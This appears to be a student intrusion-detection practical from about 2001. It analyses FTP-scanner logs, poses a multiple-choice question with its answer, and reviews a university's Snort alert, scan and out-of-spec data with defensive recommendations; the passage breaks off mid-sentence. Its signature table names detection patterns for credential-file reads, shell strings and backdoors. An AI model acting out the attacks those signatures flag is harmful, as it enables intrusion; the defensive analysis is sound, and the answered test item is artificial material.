cc56658-a.emmen1.dr.nl.home.com UNKNOWN ftp [26/Nov/2001:11:40:50 -0500] "MKD 011126174038p" 550 -
Nov 26 11:40:50 hostl proftpd[25707] hostl (cc56658-a.emmen1.dr.nl.home.com[212.204.179.110]): FTP session closed.

Nov 26 11:40:46 hostt ftpd[29752]: refused connect from cc56658-a.emmen1.dr.nl.home.com
Nov 26 11:40:47 hostz ftpd[16187]: refused connect from cc56658-a.emmen1.dr.nl.home.com
Nov 26 11:40:47 hostsa ftpd[19375]: refused connect from cc56658-a.emmen1.dr.nl.home.com
Nov 26 11:41:36 hostca in.ftpd[22381]: refused connect from cc56658-a.emmen1.dr.nl.home.com
Nov 26 11:41:36 hostca in.ftpd[22382]: refused connect from cc56658-a.emmen1.dr.nl.home.com
Nov 26 11:41:36 hostca in.ftpd[22383]: refused connect from cc56658-a.emmen1.dr.nl.home.com
Nov 26 11:41:36 hostca in.ftpd[22384]: refused connect from cc56658-a.emmen1.dr.nl.home.com
Nov 26 11:45:44 hostmau Connection attempt to TCP z.y.w.12:21 from 212.204.179.110:2967
Nov 26 11:45:46 hostmau Connection attempt to TCP z.y.w.12:21 from 212.204.179.110:2967
Nov 26 11:45:47 hostmau Connection attempt to TCP z.y.w.12:21 from 212.204.179.110:2967
```

1.Source of Trace:

The trace was taken from the Incidents.org intrusion archives. The URL for this data was found at http://www.incidents.org/archives/intrusions/msg02598.html. The data is found at the bottom of the web page.

2.Detect was generated by:

The trace shown above appears to be Unix syslog logfiles generated by one or more FTP daemons. No additional information was submitted by the administrator who captured the data.

3.Probability the source address was spoofed:

The source address was probably not spoofed. After the second line of the trace we see that an FTP connection was established. This would required the completion of a TCP three-way handshake making it unlikely that the IP was spoofed.

4.Description of attack:

The attacker is using some kind of automated program for scanning for FTP servers. In the trace we see many unsuccessful attempts to connect to FTP ports on various

servers in the network. In one case a connection is made and it is shown that the scanning tool knows how to speak the FTP protocol.

After connecting the scanning tool logins as the "anonymous" user and passes a password of "Wgpuser@home.com" The line in the trace containing "PASS Wgpuser@home.com" represents the scanning tool issuing a password to the FTP server. Even though this line appears after several other FTP commands it is not certain that the command was issued after those other commands. The timestamp for the "PASS" command and several others is identical. Syslog does not guarantee that message will be logged in the order they are received. It is likely that the PASS command was the first command issued and represents the password that was provided along with the username "anonymous" during login.

After logging in the scanning tool attempted to change to various directories common on FTP servers that support anonymous FTP. The lines that command "CWD" represent the FTP "change working directory" command. "CWD /pub/incoming" is an attempt to change to the directory "/pub/incoming". The directories "/pub/incoming" and "/incoming" are usually setup as writeable by anyone on anonymous FTP servers. Later we see the tool try to change to the directories "/_vti_pvt" and "/upload" which are similarly common on Windows NT FTP servers.

We can see the results of the commands the tool is trying to examine by looking at the numeric result at the end of several lines. Below the words in quotation marks, "CWD /pub/" and "CWD /public/" represent FTP protocols commands being issued. The number after the command is the result code returned by the FTP server. 250 means success and 550 means an error.

… ftp [26/Nov/2001:11:40:47 -0500] "CWD /pub/" 250 -
… ftp [26/Nov/2001:11:40:47 -0500] "CWD /public/" 550 -

The /pub directory and the /incoming directory exist but none of the others do.

We also see attempts to create new directories, none of which were successful.

5.Attack mechanism:

The scanning tool may be custom made. It would appear that the tool is attempting to find FTP servers that allow anonymous FTP AND that allow for the creation of directories in a directory that allows for uploads.

The person operating the scanner is probably looking for places where they upload files. Why would someone want to do this? Downloading large quantities of data requires a lot of bandwidth. Many malicious users might try to "piggy back" off of those with more bandwidth or storage space to provide a repository of downloadable

files without having to incur the cost of the bandwidth themselves. Victims of this kind of attack could end up paying for it… in dollars!

6.Correlation:

While the name of the tool that produced this trace could not be determined, several correlated attacks were discovered.

David Allardyce reported seeing FTP login attempts with a similar password naming convention with 48 connection attempts (From: http://www1.dshield.org/pipermail/dshield/2001-October/001668.html) :

> *Someone tried a very similiar email address from multiple accounts.*
>
> *% grep user@ auth.log | awk '{ print $1, $5, $8 ; }'*
> *ALyon-202-1-3-19.abo.wanadoo.fr 15/Sep/2001:04:18:30 Bgpuser@home.com*
> *AToulouse-201-1-3-176.abo.wanadoo.fr 24/Sep/2001:01:37:47 Cgpuser@home.com*
> *uu194-7-201-200.unknown.uunet.be 27/Sep/2001:09:49:49 Tgpuser@home.com*
> *APlessis-Bouchard-101-1-4-109.abo.wanadoo.fr 29/Sep/2001:23:51:32 Pgpuser@home.com*
> *APoitiers-103-1-1-219.abo.wanadoo.fr 30/Sep/2001:13:46:43 Pgpuser@home.com*
> *ABayonne-101-1-2-227.abo.wanadoo.fr 03/Oct/2001:02:38:22 Xgpuser@home.com*
> *ANancy-101-1-3-208.abo.wanadoo.fr 05/Oct/2001:14:53:36 Ngpuser@home.com*
> *AReims-101-2-1-213.abo.wanadoo.fr 05/Oct/2001:21:18:20 Wgpuser@home.com*

Mr. Allardyce goes on to comment, "Looks like someone is looking for warez storage."

Also on the Dsheil mailing list P.B. ljdens reports a much large volume of similar attempts many with the gpuser@home.com signature:

> *What I noticed is that t-online.de is by far our most frequent 'visitor'...*
> *I attached a small html document with recent suspicious activity.*
>
> *Top 5:*
> *1: t-dialin.net (302 attempts, 30 hosts)*
> *2: unresolved (280 attempts)*
> *3: wanadoo.fr (40 attempts, from 10 hosts)*
> *4: aol.com (30 attempts, from 3 hosts)*
> *5: telia.com (20 attempts from 1 host)*
>
> *Mostly these people try to login as anonymous@microsoft.com, anonymous@home,com, [Q-Z]gpuser@home.com, etc. Usually creativity of these scanning programs goes as far as logging in, noticing a stable version of the server and logging out. Some try more (like the regexp stuff).*

7.Evidence of active targeting:

The attacker appears to scanning for FTP servers, and specifically those that support anonymous FTP. The correlated data appears to indicate that this might be a common practice for those in the "warez" community (people sharing unlicensed software).

8.Severity:

(Criticality + Lethality) -(System+Network) = Severity
(3 + 4)-(3 + 3) = 1.

Criticality: 3
The servers being targeted are FTP servers. Nothing is known about the servers that rejected connections but were contacted.

Lethality: 4
If the attack has succeeded it is likely that the attacker would have used the FTP site as a repository for large quantities of data and that the owner of the network would have incurred the costs of the downloads, which could have been significant.

System Countermeasures: 3
The FTP systems being contacted appeared to be correctly setup to disallow the creation of new directories within the "/incoming" directory but nothing else is known about the system's countermeasures.

Network Countermeasures: 3
Nothing is none about the network countermeasures in place for the networks seen in the trace. From the fact that we are seeing FTP application rejections in syslog files it would appear that the firewall does not block the connection attempts but that perhaps TCPwrappers or some other mechanism does.

9.Defensive recommendation:

Deploying a NIDS that automatically responds to attempted FTP intrusions would help prevent this kind of abuse. Placing disk quotas on anonymous FTP server's "incoming" directories would also stop abuse by preventing the uploading of large quantities of data.

10.Multiple choice test question:

```
cc56658-a.emmen1.dr.nl.home.com UNKNOWN ftp [26/Nov/2001:11:40:48 -0500] "CWD /pub/incoming/" 550 -
cc56658-a.emmen1.dr.nl.home.com UNKNOWN ftp [26/Nov/2001:11:40:49 -0500] "CWD /incoming/" 250 -
cc56658-a.emmen1.dr.nl.home.com UNKNOWN ftp [26/Nov/2001:11:40:49 -0500] "MKD 011126174037p" 550 –
```

What is true about the FTP protocol commands shown above?

a) The user succeeded in changing to the directory /incoming
b) The user uploaded a file called "MKD 011126174037p" that was 550 bytes long
c) The user succeeded in creating a directory called 011126174037p

d)The user succeeded in changing to the directory /pub/incoming

The correct answer is a)

Assignment 3: "Analyze This" Scenario

Overview

Five days worth of Snort IDS data from a University are analyzed for signs of intrusion. The data being analyzed includes three different types of data: alert logs, portscan logs, and out-of-spec packets. The data was generated by a snort sensor with a very broad but mostly standard rulebase. Data from November 21, 2001 through November 25, 2001 was chosen for analysis. The specific logfiles chosen for analysis were:

- Alerts: alert.011121.gz, alert.011122.gz, alert.011123.gz, alert.011124.gz, alert.011125.gz
- Scans: scans.011121.gz, scans.011122.gz, scans.011123.gz, scans.011124.gz, scans.011125.gz
- Out-of-Spec: oos_Nov.21.gz, oos_Nov.22.gz, oos_Nov.23.gz, oos_Nov.24.gz, oos_Nov.25.gz

Overall, the data files reveal 585,789 alerts with 143 unique signatures, 1,467,672 scan events from 1,236 unique hosts, and 584 Out-Of-Spec (OOS) packets. There is some overlap between alert, scan, and OOS data because scan events are reported in the alert logs, and some OOS packets are reported as "stealth" scan events in the scan and alert logs.

A large number of signatures (143) were encountered in the alert logs. It would appear that the snort rulebase used by the University's IDS sensor was very broad. The alerts included many information, miscellaneous, and non-threatening signatures. Additionally at least eight custom signatures added by the University were encountered. These custom signatures appear to be used to log external/internet access to specific internal servers. Only those signatures that indicate a specific threat were examined. Alerts with informational or non-threatening signatures were not investigated directly but were used when investigating all alerts generated by specific suspect IP addresses.

The methodology used to analyze the data is discussed in the first section of this document. The second section gives analysis and details for specific events of interest. The third section lists the most active hosts found scanning the network. The next section provides analysis of the out-of-spec packets. In the last section five hosts are selected for further investigation and registration information is given for each. Defensive recommendations and insights into internal systems are made throughout each section.

Methodology

Three types of data were analyzed: alert logs, scan logs, and out-of-spec (OOS) packets. The alert logs detail specific signatures that snort detected with details of the

source and destination of the packets that matched those signatures. The alert logs also contain entries for portscans. These are logged when snort notices that many packets arriving near each other in a short space of time match a 'scan' signature. Scans typically raise 3 or more alerts with the specific details of each scan packet found in the scan log files.

The scan logs provide a record of each packet that was part of a suspected portscan. Each entry in the scan logs shows the source and destination IP address and port number of a packet.

The out-of-spec logs give complete details of the IP header for every out-of-spec packet that was encountered. Quite often 'stealth' scans reported in the alert, and scan logs are also represented in the OOS logs, as such scans can involve sending malformed packets.

The alert, scan, and OOS data files were each uncompressed and concatenated, so that one large file was created for each type of data. The data for each type (alert, scan, OOS) were analyzed separately with different methods. A combination of perl scripts, UNIX command line tools, and manual investigation was employed to conduct the analysis. Complete source for perl programs are provided in the appendices, and examples of the command line tools are given throughout the methodology and events of interest sections.

For the alert data, two perl programs were constructed: one to summarized signatures encountered and one to identify the IP addresses involved. The first program generates a table summarizing the unique signatures encountered in the data, the total number of times each signature was seen, and the number of unique source and destination IP addresses associated with each signature. The second program generates a table listing every unique IP address encountered and the total number of signatures associated with each IP as a source or destination.

It should be noted that when snort detects a portscan it logs at least three alerts with the 'spp_portscan' signature: the first alert announces that the beginning of a portscan has been detected, one or more further alerts are logged with details of the ongoing portscan, and a final alert tells that the portscan has ended and summarizes the complete details of the portscan. For the purpose of counting total number of "scan" alerts, only the "end of portscan" alerts were counted.

Many informational signatures were included in the snort rulebase that generated the logfiles and many of the alerts are not indication of a threat. Each signature that was encountered was categorized as "threatening", or "informational." Alerts with "threatening" signatures are investigated fully and details are provided for specific events of interest.

For each signature that was investigated a list of alerts was extracted with the GNU 'grep' program. The following command was used:

```
grep "<signature>" <alerts>
```

where <signature> was the signature being examined and <alerts> was the file to which all the provided alert data had been concatenated.

The nature of each signature was determined by examining the actual rule from the standard snort rulebase and all the alerts cooresponding to that signature. Some snort rules are prone to generate many false positives because of overly broad matching criteria and thus they must be checked to understand why the alert occurred in the first place. Also the snort rules contain valuable correlation information in the form of CVE ids that can be used to find detailed information about the nature of a signature.

The section titled "Events of Interest" below contains the tables summarizing the alert data as well as details of specific events of interest.

Scan data was analyzed by first calculating the number of scan events recorded for each source IP address. This provides an overview of the worst portscan offenders but also identifies possible false alarms. Snort, if not configured correctly, can misidentify legitimate traffic from busy servers as portscans. Internal hosts that generated large volumes of scan events were investigated, and obvious false alarms were eliminated from the scan logs to make further analysis easier.

The top 10 talkers, those IP addresses that generated the largest number of scan events, were investigated. Unix command line tools were used to generate summaries of the scan activity for each IP.

OOS data was analyzed by creating a list of all the unique TCP flag signatures encountered in the OOS packets. Possible explanations are given for patterns of interest.

Alert Log Analysis

The following table lists all the snort signatures found in the alert logs. The table was generated with the PERL program found in Appendix A and sorted by the total number of alerts for each signature. Also shown are the number of unique source and destination IP addresses associated with each signature. Most signatures listed are not an indication of threat, but may be informational or miscellaneous.

Total Alerts	Sources	Destinations	Signature
46539	98	25	MISC traceroute
40745	173	103	ICMP Echo Request Windows

Total Alerts	Sources	Destinations	Signature
32770	6800	10	MISC source port 53 to <1024
31321	1140	5	WEB-MISC prefix-get //
30202	4194	1	CS WEBSERVER - external web traffic
27896	19	21	ICMP Echo Request BSDtype
23922	249	367	INFO MSN IM Chat data
11927	1223	0	spp_portscan
11658	9	13	MISC Large UDP Packet
9428	1297	61	ICMP Destination Unreachable (Host Unreachable)
7951	268	3443	SMB Name Wildcard
7206	10	13	Incomplete Packet Fragments Discarded
6123	173	36	Watchlist 000220 IL-ISDNNET-990517
4127	3	441	connect to 515 from outside
3675	38	720	ICMP Echo Request Nmap or HPING2
2407	171	50	ICMP Destination Unreachable (Communication Administratively Prohibited)
2401	12	10	Watchlist 000222 NET-NCFC
2366	30	29	ICMP Fragment Reassembly Time Exceeded
2363	31	867	NMAP TCP ping!
2139	84	62	SCAN Proxy attempt
1253	15	20	EXPLOIT x86 NOOP
1036	6	729	External RPC call
1011	14	496	WEB-MISC 403 Forbidden
979	172	759	ICMP traceroute
910	269	65	INFO FTP anonymous FTP
767	86	12	ICMP Echo Request CyberKit 2.2 Windows
748	39	574	INFO Inbound GNUTella Connect accept
710	24	22	ICMP Destination Unreachable (Network Unreachable)
535	152	30	Null scan!
532	3	3	ICMP Echo Request L3retriever Ping
496	62	28	Queso fingerprint
454	72	31	WEB-MISC Attempt to execute cmd
447	8	4	WEB-CGI scriptalias access
411	104	37	spp_http_decode: IIS Unicode attack detected
405	87	13	ICMP Source Quench
400	15	14	FTP DoS ftpd globbing
394	8	314	INFO - Possible Squid Scan
393	41	117	TCP SRC and DST outside network
342	9	241	TELNET login incorrect
327	2	2	ICMP Redirect (Network)
296	166	4	ICMP Destination Unreachable (Fragmentation Needed and DF bit was set)
279	122	4	WEB-MISC http directory traversal
249	31	34	Port 55850 tcp - Possible myserver activity - ref. 010313-1
203	81	1	CS WEBSERVER - external ftp traffic
190	49	51	INFO Possible IRC Access
180	22	20	High port 65535 udp - possible Red Worm - traffic
165	13	13	X11 outgoing
148	140	33	INFO Outbound GNUTella Connect accept
128	70	8	WEB-IIS _vti_inf access
127	77	11	WEB-FRONTPAGE _vti_rpc access
124	32	32	High port 65535 tcp - possible Red Worm - traffic
124	21	6	WEB-IIS view source via translate header
115	48	2	WEB-MISC count.cgi access
107	4	4	connect to 515 from inside
98	16	16	ICMP Destination Unreachable (Protocol Unreachable)
96	17	22	Possible trojan server activity
86	23	59	INFO Napster Client Data
66	6	9	beetle.ucs
51	1	1	WEB-CGI phf access
48	40	7	WEB-CGI redirect access
41	5	6	SUNRPC highport access!
38	8	15	SMTP relaying denied
30	19	12	MISC Large ICMP Packet

Total Alerts	Sources	Destinations	Signature
30	14	2	WEB-CGI rsh access
26	3	24	WEB-IIS Unauthorized IP Access Attempt
26	1	1	DNS zone transfer
23	2	11	TELNET access
22	16	3	WEB-CGI csh access
20	20	14	SCAN Synscan Portscan ID 19104
19	6	8	RFB - Possible WinVNC - 010708-1
19	6	5	INFO Inbound GNUTella Connect request
19	16	3	WEB-MISC Lotus Domino directory traversal
19	14	12	EXPLOIT x86 setuid 0
18	6	17	ICMP Echo Request Delphi-Piette Windows
18	3	3	ICMP Echo Request Sun Solaris
15	9	9	RPC tcp traffic contains bin_sh
15	4	8	SCAN FIN
15	2	4	SNMP public access
15	1	15	ICMP Echo Request Broadscan Smurf Scanner
14	5	7	Virus - Possible scr Worm
13	5	5	WEB-MISC compaq nsight directory traversal
10	9	8	EXPLOIT x86 setgid 0
9	8	5	WEB-CGI formmail access
9	8	4	SMTP chameleon overflow
9	4	4	TFTP - Internal TCP connection to external tftp server
8	7	2	WEB-CGI tsch access
8	4	7	Virus - Possible MyRomeo Worm
8	3	2	FTP CWD - possible warez site
8	2	2	x86 NOOP - unicode BUFFER OVERFLOW ATTACK
7	5	5	spp_http_decode: CGI Null Byte attack detected
6	6	2	WEB-FRONTPAGE fpcount.exe access
5	1	1	IDS50/trojan_trojan-active-subseven
4	3	3	ICMP redirect (Host)
4	3	2	WEB-CGI finger access
4	3	2	INFO napster login
4	2	2	Attempted Sun RPC high port access
4	1	1	EXPLOIT NTPDX buffer overflow
3	3	1	WEB-CGI ksh access
3	2	3	EXPLOIT x86 stealth noop
3	2	2	BACKDOOR NetMetro Incoming Traffic
3	1	3	INFO napster new user login
3	1	2	Virus - Possible NAIL Worm
3	1	1	WEB-CGI files.pl access
3	1	1	Tiny Fragments - Possible Hostile Activity
3	1	1	TFTP - Internal UDP connection to external tftp server
3	1	1	MISC PCAnywhere Startup
2	2	1	External FTP to HelpDesk MY.NET.70.50
2	1	2	HelpDesk MY.NET.70.50 to External FTP
2	1	2	DNS named iquery attempt
2	1	1	WEB-MISC guestbook.cgi access
2	1	1	WEB-CGI survey.cgi access
2	1	1	INFO VNC Active on Network
2	1	1	ICMP Echo Request webtrends scanner
2	1	1	DDOS shaft client to handler
2	1	1	CS WEBSERVER - external ssh traffic
1	1	1	WEB-MISC L3retriever HTTP Probe
1	1	1	WEB-MISC Invalid URL
1	1	1	WEB-MISC .htaccess access
1	1	1	WEB-MISC /etc/passwd
1	1	1	WEB-IIS .cnf access
1	1	1	WEB-IIS asp-dot attempt
1	1	1	WEB-FRONTPAGE shtml.exe
1	1	1	WEB-FRONTPAGE service.cnf access
1	1	1	WEB-FRONTPAGE access.cnf access

Total Alerts	Sources	Destinations	Signature
1	1	1	WEB-CGI webgais access
1	1	1	WEB-CGI w3-msql access
1	1	1	Virus - Possible pif Worm
1	1	1	Traffic from port 53 to port 123
1	1	1	SITE EXEC - Possible wu-ftpd exploit - GIAC000623
1	1	1	SCAN XMAS
1	1	1	SCAN - wayboard request - allows reading of arbitrary files as http service
1	1	1	MISC Source Port 20 to <1024
1	1	1	MISC Cisco Catalyst Remote Access
1	1	1	INFO - Web Dir listing
1	1	1	IDS475/web-iis_web-webdav-propfind
1	1	1	ICMP SRC and DST outside network
1	1	1	ICMP Source Quench (Undefined Code!)
1	1	1	ICMP SKIP (Undefined Code!
1	1	1	FTP MKD - possible warez site
1	1	1	FINGER redirection
1	1	1	External FTP to HelpDesk MY.NET.83.197
1	1	1	DDOS mstream client to handler
1	1	1	BACKDOOR NetMetro File List

Detects

The following is a list of detects listed in order by the number of occurrences of each. The list includes the signatures found in the alert logs that were deemed to be the most threatening (those signatures that were not of an informational or miscellaneous nature).

connect to 515 from outside - 4127 alerts

3 sources generated 4127 alerts to 441 destinations for this signature.

This is not a signature from the standard snort rulebase and was most likely added by the University to monitor attempted access to printer services. TCP port 515 is used by line printer services on Unix systems. There are a number of ways to remotely exploit lpr daemons and gain root level access to the server the daemon runs on.

The three source IPs that generated this signature are: 163.17.157.130, 211.198.225.65, and 255.255.255.255. Note that 255.255.255.255 is a universal broadcast address it isn't normal to see it in this context. Further examination shows that the following two alerts were generated with 255.255.255.255 as a source:

alert.011122:11/22-01:46:34.095073 [**] connect to 515 from outside [**] 255.255.255.255:31337 -> MY.NET.137.106:515
alert.011123:11/23-23:30:45.055730 [**] connect to 515 from outside [**] 255.255.255.255:31337 -> MY.NET.132.183:515

The source address is probably spoofed. Notice the port number of "31337" which could spell the infamous word "ELEET". It would appear that someone may have hoped to trigger a Denial of Service against MY.NET.137.106 or MY.NET.132.183.

While the signature says "connect to 515 from outside", it is possible that the attacker

who spoofed the address of 255.255.255.255 might have been inside the network. In which case, he may have been hoping that either of the attacked servers would respond to the broadcast address and he would receive packets back. In this case he may have not been attempting a DoS attack, but may actually have been trying a remote exploit of some type and was hoping to mask his original identity during the attack phase. This approach would seem unlikely to work however.

The IP 163.17.157.130 generated most of the alerts: 3645 in total. In total this IP connected to 36 different internal IP addresses on port 515. At first many different hosts were tried, but last and most of the alerts were generated when 163.17.157.130 connect to MY.NET.190.13 and MY.NET.190.51. Because of the pattern we see, that many IPs were randomly tried and then later repeated connections were made to just two, it is possible that MY.NET.190.13 and MY.NET.190.51 have been compromised.

We also find that 163.17.157.130 was responsible for a number of "EXPLOIT x86 NOOP" alerts for which the destination IP and port correlate to this alerts. The "EXPLOIT x86 NOOP" signature is often a sign that a remote buffer overflow is being attempted and that fits well with our theory that 163.17.157.130 may have compromised two servers.

When we examine the alert logs for other entries involving MY.NET.190.13 and MY.NET.190.51 as a source, we happily find no entries. If these hosts have been compromised they may not yet have been used to attack the rest of the network.

Recommendations: Immediately investigate the status of MY.NET.190.13 and MY.NET.190.51. These hosts may have been compromised. Install a restrictive firewall at the perimeter of the University's network and allow inbound traffic only from known sources and only to specified servers and ports. It is unlikely that a University user would need to print to a University printer when outside the network.

The third IP address responsible for this alert, 211.198.225.65, shows the classic signs of a portscan. This IP generated 490 alerts against 414 different internal hosts connecting only once or twice to each host. While this IP might have conducted a portscan there is no sign that any compromise was made.

EXPLOIT x86 NOOP - 1253 alerts

15 sources generated 1253 alerts to 20 destinations for this signature.

This signature indicates the presence of a string of bytes corresponding to the NOOP command for the Intel x86 CPU. It is quite common to see this string of bytes in a network stream when an attacker is trying to execute a remote buffer overflow. However the NOOP byte sequence may occur for other reasons; the bytes might be present in datafiles that are being downloaded etc.

Previously we saw that many of these alerts were raised by 167.17.157.130 while possibly trying to exploit two internal print servers. 593 of these alerts were generated by 14 our source IPs. Of these we see that 129.128.5.191 was responsible for 288 alerts but was also responsible for many alerts in the same time period. All the attackers were launched against MY.NET.70.148 and included several other signatures associated with attempted buffer overflows.

Recommendations: Immediately investigate MY.NET.70.148 for signs of compromise. Install a restrictive firewall at the perimeter of the University's network and disallow connections from 129.128.5.191.

spp_http_decode: IIS Unicode attack detected - 411 alerts

104 sources generated 411 alerts to 37 destinations for this signature.

This signature matches HTTP requests containing unicode characters that are used to encode special characters that would otherwise be filtered out by the webserver. Usually the presence of certain unicode characters in an HTTP string means that an attacker is trying to execute programs on the webserver that are not normally executable.

Many worm viruses use this as a method of attack against websites and it is not unusual to see automated probes from the CodeRed and Nimda worms constantly assailing any available webserver. Unfortunately it is not possible to determine if such an attack is successful from this simple snort rule. Typically the unicode attack is used to install a backdoor program on the server and further abuse is conducted via the backdoor. Signs of compromise would be seen through other snort rules.

Recommendations: Keep all University webservers patched against Unicode attacks. Install snort rules to watch known University servers for unusual traffic on high or unused ports.

TCP SRC and DST outside network - 393 alerts

41 sources generated 393 alerts to 117 destinations with this signature.

Alerts show this signature when snort finds a packet whose source and destination address both belong to external networks. This is not normal and all such packets should be examined as they could reveal a misconfigured router, misconfigured computer on the local network, or evidence of spoofing.

305 of the alerts, the vast majority were triggered by 25 source IPs that are for private non-routable networks. Addresses in the range 192.168.0.0 - 192.168.255.255 and

172.16.0.0 - 172.31.255.255 are reserved by ARIN, the authority that controls the allocation of IP addresses. These IP addresses are frequently assigned to IP networks that are not going to be connected to the Internet, that are connected to the Internet through a proxy server, or on individual computers for testing. It isn't unusual on a large network to see several computers that have one of these addresses assigned for testing. It should also be pointed out that while 172.16.0.0-172.32.255.255 is an official block of IPs reserved for private use, many users make the mistake of thinking the range is 172.0.0.0-172.255.255.255 and use addresses in this range.

Regardless of the actual IP address used, it is also possible that these packets come from outside the University's network with a spoofed source IP address or that they are from local systems with misconfigured IP addresses. Mobile computers, such as laptops, might be misconfigured for use on other networks and generate such packets.

It is also possible that these packets are crafted maliciously; as part of denial of service attacks or as signals in covert channel trojan programs (snort may detect these with other signatures).

Recommendations: Routers at the perimeter of the University's network should not route packets that have source addresses corresponding the three private/reserved IP address ranges: 192.168.0.0.-192.168.255.255, 172.16.0.0.-172.31.255.255, 10.0.0.0-10.255.255.255. There is no legitimate need to allow such packets into the network from the Internet.

Furthermore the routers at the perimeter should provide egress filtering. Packets that have source addresses not corresponding to the University's network should not be allowed out. The ethernet MAC address of packets originating from the University's network with bad source IP addresses should be logged so that any abuse can be attributed to a specific user's computer later should that be required.

ICMP Redirect (Network) - 327 alerts

2 sources generated 327 alerts to 2 destinations with this signature.

Alerts with this signature are raised when snort detects an ICMP Type 5 packet. The purpose of these packets is to instruct a host to adjust its routing table. This could have a valid purpose on a network with multiple routes however it is not commonly used. Attackers could use ICMP Redirect packets to convince a system to send packets destined for a particular IP to a system or router under the attacker's control instead of its legitimate destination.

The two source IPs that generated these alerts are 130.67.57.240 and 10.8.4.5. 130.67.57.240 generated just one alert and 10.8.4.5 was responsible for the other 327 alerts.

The alerts generated by 10.8.4.5 were all identical and destined for MY.NET.70.97. All the packets arrived within 32 seconds of each other. Notice that 10.8.4.5 is part of the reserved private network 10.0.0.0-10.255.255.255 range. This is probably not a legal network address for any host on the University's network.

The alert generated by 130.67.57.240 was destined for MY.NET.70.146.

The only connection that can be drawn between these events is that both destination hosts, MY.NET.70.97 and MY.NET.70.146 appear to share the same MY.NET.70.X subnet. Also both of these IP addresses are associated with a large number of other similar alerts, both as destination IP address. Both these hosts are associated with many ICMP Destination Unreachable alerts. These other alerts are not associated with either of the source IP addresses for this alert however. Many of the alerts raised for MY.NET.70.97 and MY.NET.70.146 were portscan alerts. However these appear to be the result of multiple ICMP Destination Unreachable packets arriving in a short space of time to the IPs and not the result of some other type of suspicious activity.

Sometimes a busy server, such as mail server, will receive many ICMP Destination Unreachable packets in the course of its normal activity. It is possible that MY.NET.70.97 and MY.NET.70.146 are University operated servers of some sort. If there were publicly known servers providing a widely used service in the University it might explain why an attacker would try to reroute their traffic as part of an attack.

Recommendations: Configure routers throughout the University to drop ICMP Redirect packets. Unless internal network have multiple routes and the University's routing scheme relies on ICMP Redirect messages, there is no need to allow these packets through. Immediately investigate both MY.NET.70.97 and MY.NET.70.146 for signs of compromise. Specifically look for explanations of the large numbers of ICMP Destination Unreachable packets destined to these two servers.

Port 55850 tcp - Possible myserver activity - ref. 010313-1 - 249 alerts

31 sources generated 249 alerts for 34 destinations with this signature.

Snort raises alerts with this signature when a UDP packet has either the source or destination port set to 55850. MyServer is a Trinoo style [1] distributed denial of service agent that runs on Unix systems. It binds to UDP port 55850 [2] where it listens for commands from a "master" which directs it to launch denial of service attacks. MyServer is usually installed on compromised systems and is accompanied by a "rootkit" that contains trojan copies of Unix utilities that make it harder to detect the presence of MyServer.

This rule does not appear to be part of the standard snort rulebase and it is unclear

what ref. 010313-1 is a reference to. By examining the alerts that were logged with this signature it is clear that it matching TCP packets with the source or destination port of 55850 which does not correspond to MyServer which is known to bind to UDP port 55850. However the author of this snort rule may have more detailed information about MyServer.

It is possible that normal traffic could be associated with port 55850 since it is an high ephemeral port. A program might bind to 55850 randomly while sending TCP or UDP packets. To determine if a system is indeed compromised with MyServer one would look for signs that the server is sending out large numbers of packets or specific DoS packets.

A list of 65 source and destination IP addresses was used to extract records from the scan logs. Entries in the scan logs for which the source IP matched any of the 65 suspected MyServer IPs were extracted with the UNIX "grep" command. A file containing all the matching scan entries was created called "myserver.scans" and the following command was used to create a tally of the number scan events that each IP was associated with as a source:

```
awk '{print $4}' myserver.scans | awk -F: '{print $1}' | sort | uniq -c | sort -nr
```

The results were as follows:

```
3748  MY.NET.100.230
1727  210.73.44.199
193   202.248.98.5
278   MY.NET.253.53
```

These four IP addresses are potentially infected with a DoS agent. A manual investigation of the scan logs associated with these IPs shows:

1. 202.248.98.5 was scanning hosts in the MY.NET.5.0 range on TCP port 80. Apparently looking for webservers. 202.248.98.5 is also associated with a large number of alerts related to web attacks and IIS web server exploits. The MyServer alert that mentioned this IP was:
   11/22-14:10:56.753542 [**] Port 55850 tcp - Possible myserver activity - ref. 010313-1 [**] MY.NET.85.92:80 -> 202.248.98.5:55850
   It would seem that 202.248.98.5 randomly choose port 55850 while scanning for webservers on the University ‘s network. It is probably not infected with MyServer. With an external server receiving packets on port 55850 from an internal IP our worry would be that someone on the University's network is controlling a DoS agent external to the University’s network, and happily that does not appear to be case here.
2. 210.73.44.199 was scanning hosts in the University's network for FTP servers.

The MyServer alert that mentioned this IP was:

11/21-16:12:19.835035 [**] Port 55850 tcp - Possible myserver activity - ref. 010313-1 [**] 210.73.44.199:55850 -> MY.NET.130.114:21

Again it would appear that the host randomly picked port 55850 while scanning the University's network and is not likely to be infected with MyServer.

3 MY.NET.100.230 generated a large number of scan events. Examination of the scan logs show that this IP did not connect to many IPs more than once, however it connected exclusively to ports 25, 53, and 113. This quite normal for an SMTP server. Busy SMTP servers often trigger snort's portscan alerts because of they make many connections in a short space of time. The MyServer alerts that mentioned MY.NET.100.230 were:

11/22-06:12:15.235538 [**] Port 55850 tcp - Possible myserver activity - ref. 010313-1 [**] MY.NET.100.230:55850 -> 64.29.19.73:25
11/22-06:12:18.735194 [**] Port 55850 tcp - Possible myserver activity - ref. 010313-1 [**] MY.NET.100.230:55850 -> 64.29.19.73:25
11/22-06:12:25.133664 [**] Port 55850 tcp - Possible myserver activity - ref. 010313-1 [**] MY.NET.100.230:55850 -> 64.29.19.73:25
11/22-06:15:15.238771 [**] Port 55850 tcp - Possible myserver activity - ref. 010313-1 [**] MY.NET.100.230:55850 -> 64.29.19.73:25

It would appear that again, this IP is not likely to be running the MyServer agent as simply choose port 55850 at random. This server is probably an SMTP server at the University.

4 MY.NET.253.53: Examination of the scan logs show that this IP did not connect to many IPs more than once, however it connected exclusively to ports 25, 53, and 113. This quite normal for an SMTP server. Busy SMTP servers often trigger snort's portscan alerts because of they make many connections in a short space of time. The MyServer alerts that mentioned MY.NET.253.53 were similar to those for MY.NET.100.230 and there is no indication that it is infected by MyServer.

There appears to be no evidence of a MyServer agent on the University's network, or any MyServer agent controlled from an system on the University's network.

Recommendations: Change the "myserver" snort rule to match **UDP** port 55850 not **TCP** port 55850. There will potentially be less false alarms as a result.

RFB - Possible WinVNC - 010708-1 - 19 alerts

6 sources raised 19 alerts for 8 destinations with this signature.

This does not appear to be generated by a rule in the standard snort ruleset however it is clearly designed to detect VNC clients. The acronym "RFB" mentioned in the signature name refers to the Remote Frame Buffer protocol used by VNC clients and servers. VNC is a system for establishing remote windowing sessions. VNC clients can control remote Windows and Unix/X11 systems if they are running the VNC server

